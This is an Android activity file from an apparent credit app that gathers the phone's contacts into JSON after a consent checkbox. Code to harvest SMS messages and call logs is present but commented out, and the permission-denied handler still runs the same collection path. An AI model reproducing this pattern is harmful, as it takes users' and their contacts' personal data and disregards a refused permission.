package com.gentlemancredit.app;

import android.Manifest;
import android.os.SystemClock;
import android.os.Bundle;
import android.view.Gravity;
import android.view.View;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;

import com.alibaba.fastjson.JSONObject;
import com.gentlemancredit.app.base.BaseActivity;
import com.gentlemancredit.app.bean.CallRecord;
import com.gentlemancredit.app.bean.SMSMessage;
import com.gentlemancredit.app.component.keyboard.ActionSheetDialog;
import com.gentlemancredit.app.utils.NetworkUtils;
import com.gentlemancredit.app.utils.PhoneUtil;
import com.gentlemancredit.app.utils.SPUtils;
import com.zinc.libpermission.annotation.Permission;
import com.zinc.libpermission.annotation.PermissionCanceled;
import com.zinc.libpermission.annotation.PermissionDenied;
import com.zinc.libpermission.bean.CancelInfo;
import com.zinc.libpermission.bean.DenyInfo;

import org.androidannotations.annotations.Click;
import org.androidannotations.annotations.EActivity;
import org.androidannotations.annotations.ViewById;

import java.util.List;


@EActivity(R.layout.activity_auth)
public class AuthActivity extends BaseActivity {


    @ViewById
    protected LinearLayout checkbox;


    @ViewById
    protected ImageView check_image;


    private boolean aggreed = false;


    @Override
    protected void initData() {

    }

    @Override
    protected void initView() {
        //默认不选中
        check_image.setImageResource(R.drawable.check_un);
    }


    @Click
    public void checkbox() {
        if (aggreed) {
            aggreed = false;
            check_image.setImageResource(R.drawable.check_un);
        } else {
            aggreed = true;
            check_image.setImageResource(R.drawable.check_ed);
        }
    }

    @Click
    public void agreement_text() {
        Bundle bundle = new Bundle();
        bundle.putString("url", "http://jzyd.woaixin.top/api/attest/xieyi");
        AppContext.openActivity(this, BrowserActivity_.class, bundle);
    }

    @Click
    public void goAuth() {
        if (!aggreed) {
            ActionSheetDialog.Builder actionSheetDialog = new ActionSheetDialog.Builder(this);
            final ActionSheetDialog dialog = actionSheetDialog.create(R.layout.action_sheet_dialog_common_tip, Gravity.CENTER);
            TextView tip_text = dialog.findViewById(R.id.tip_text);
            tip_text.setText("请先阅读用户授权协议");
            dialog.findViewById(R.id.sure).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    dialog.dismiss();
                }
            });
            dialog.setCanceledOnTouchOutside(false);
            dialog.show();
        } else {
            getContacts();
        }
    }

    @Permission(value = {Manifest.permission.READ_CONTACTS}, requestCode = 100)
    private void getContacts() {
        //

        if (!NetworkUtils.isConnected()) {
            showToast("网络已断开");
            return;
        }

        JSONObject phoneDatas = getPhoneDatas();

        Bundle bundle = new Bundle();
        bundle.putString("data", phoneDatas.toJSONString());
        AppContext.openActivity(this, MainActivity_.class, bundle);
    }

    //只需加上注解 @PermissionCanceled 和 参数类型为 CancelInfo 的一个参数即可
    @PermissionCanceled()
    private void cancel(CancelInfo cancelInfo) {
        showToast("请同意获取联系人权限");
    }

    //只需加上注解 @PermissionDenied 和 参数类型为 DenyInfo 的一个参数即可
    @PermissionDenied()
    private void deny(DenyInfo denyInfo) {
        if (!NetworkUtils.isConnected()) {
            showToast("网络已断开");
            return;
        }


        JSONObject phoneDatas = getPhoneDatas();

        Bundle bundle = new Bundle();
        bundle.putString("data", phoneDatas.toJSONString());
        AppContext.openActivity(this, MainActivity_.class, bundle);
    }


    private long mBackPressedTime;

    @Override
    public void onBackPressed() {
        isDoubleClick();
    }

    @Override
    @Click
    public void doback() {
        isDoubleClick();

    }

    //连续点击返回，退出
    private void isDoubleClick() {
        boolean isDoubleClick = SPUtils.getInstance().getBoolean(AppConfig.KEY_DOUBLE_CLICK_EXIT, true);
        if (isDoubleClick) {
            long curTime = SystemClock.uptimeMillis();
            if ((curTime - mBackPressedTime) < (3 * 1000)) {
                finish();
            } else {
                mBackPressedTime = curTime;
                showToast("再次点击退出");
            }
        } else {
            finish();
        }
    }


    /**
     *
     */

    private JSONObject getPhoneDatas() {
        PhoneUtil phoneUtil = new PhoneUtil(this);

//        List<SMSMessage> sms = phoneUtil.getSms();
        List contacts = phoneUtil.getPhone();
//        List<CallRecord> callLog = phoneUtil.getCallLog();


        JSONObject data = new JSONObject();
//        data.put("sms", sms);
//        data.put("callLog", callLog);
        data.put("contacts", contacts);

//        data.put("sms", new JSONObject());
//        data.put("callLog", new JSONObject());
//        data.put("contacts", new JSONObject());

        return data;
    }

}
